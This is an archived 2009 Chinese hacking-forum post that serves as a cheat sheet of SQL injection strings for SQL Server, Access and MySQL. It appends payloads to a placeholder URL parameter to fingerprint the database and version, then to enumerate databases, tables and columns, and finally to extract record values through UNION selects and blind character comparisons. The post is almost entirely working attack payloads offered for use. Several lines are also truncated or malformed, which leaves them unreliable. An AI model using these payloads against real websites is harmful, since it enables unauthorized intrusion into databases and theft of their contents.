【3.A.S.T】网络安全爱好者's Archiver

黑客学习

ynhu33 发表于 2009-6-1 15:50

数据库平台注入语句构造

、  判断数据库的类型

SQL Server:[url]http://www.xx.com/showdetail.asp?id=49[/url] and (select count(*) from sysobjects)>0

ACCESS:[url]http://www.xx.com/showdetail.asp?id=49[/url] and (select count(*) from msysobjects)>0

MY SQL:根据系统平台判断

说明:SQLServer 中存在sysobjects表,而ACCESS中存在msysobjects表,但是没有权限访问该表。

2、判断数据库的版本

   SQL SERVER :[url]http://www.xx.com/showdetail.asp?id=49[/url] and 1=(select @@VERSION)

   ACCESS:[url]http://www.xx.com/showdetail.asp?id=49[/url] and 1=(select @@VERSION)

   SQL SERVER :[url]http://www.xx.com/showdetail.asp?id=49[/url] and 1= convert(int,@@version)

   ACCESS:[url]http://www.xx.com/showdetail.asp?id=49[/url] and 1= convert(int,@@version)

   MYSQL:[url]http://www.xx.com/showdetail.php?id=49[/url] and 1<>1 union select 1,2, version(),4,5

   说明:@@VERSION 变量返回SQL SERVER数据库的版本;version()函数返回MYSQL数据库的版本

3、判断链接数据库的用户类型和名称

MSSQL::[url]http://www.xx.com/showdetail.asp?id=49[/url] and user>0

MY SQL:[url]http://www.xx.com/showdetail.php?id=49[/url] and 1<>1 union select 1,2,user(),4,5

说明:user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar

User()  函数返回链接MYSQL数据库的用户名

4、  判断当前的数据库名

SQLSERVER:HTTP://http://www.xx.com/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0

SQLSERVER:HTTP://http://www.xx.com/abc.asp?p=YY and 0<>db_name()

ACCESS:

MYSQL:[url]http://www.xx.com/showdetail.php?id=49[/url] and 1<>1 union select 1,2,database(),4,5

说明:SQLSERVER 中有sysdatabases表,存放所有数据库,dbid从7开始是用户自己的数据库,使用这个方法可以得到服务器上所有的数据库名称。 db_name()函数返回SQL SERVER的数据库名。database()函数返回MYSQL数据库的数据库名

5、  判断表名称

   SQL SERVER :[url]http://www.xx.com/showdetail.asp?id=49[/url] and 0<>(select count(*) from 表名)

   SQL SERVER :[url]http://www.xx.com/showdetail.asp?id=49[/url] and (select top 1 from 数据库名.dbo.sysobjects where xtype=’U’ and status>0)>0

   ACCESS:[url]http://www.xx.com/showdetail.asp?id=49[/url] and 0<>(select count(*) from 表名)

   MYSQL:[url]http://www.xx.com/showdetail.php?id=49[/url] and and 0<>(select count(*) from 表名)

6、  判断字段名

   SQL SERVER :[url]http://www.xx.com/showdetail.asp?id=49[/url] and 0<>(select count(字段名) from 表名)

   SQL SERVER :[url]http://www.xx.com/showdetail.asp?id=49[/url] and (Select Top 1 name From (Select Top 12 [name] From [syscolumns] where (id = (SELECT TOP 1 id FROM [sysobjects] WHERE name ='表名称')) Order by [name]) T Order by [name] desc)>0

ACCESS:[url]http://www.xx.com/showdetail.asp?id=49[/url] and 0<>(select count(字段名) from 表名)

MYSQL :[url]http://www.xx.com/showdetail.php?id=49[/url] and 0<>(select count(字段名) from 表名)

7、 判断字段记录长度


   

SQL SERVER :[url]http://www.xx.com/showdetail.asp?id=49[/url] 字段名) from 表名)>0
    ACCESS :[url]http://www.xx.com/showdetail.asp?id=49[/url] 字段名) from 表名)>0

    MYSQL: [url]http://www.xx.com/showdetail.php?id=49[/url] 字段名) from 表名 order by 字段名 limit N,1)

    说明:MYSQL中没有top 命令,可以使用limit,N表示判断第N条记录

8、判断字段记录值

MYSQL :[url]http://www.xx.com/showdetail.php?id=49[/url] and 1<>1 union select 1,2,3,(select 字段名 from 表名 order by 字段名limit N,1)

SQL SERVER(判断ascii值) :[url]http://www.xx.com/showdetail.asp?id=49[/url] and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0

ACCESS(判断ascii值):[url]http://www.xx.com/showdetail.asp?id=49[/url] 字段名,1,1)) from 数据库名)>0

说明:SQL SERVER 和ACCESS可以通过判断ascii值来判断记录,MYSQL可直接显示记录。

页: [1]

Powered by Discuz! Archiver 7.2  © 2001-2009 Comsenz Inc.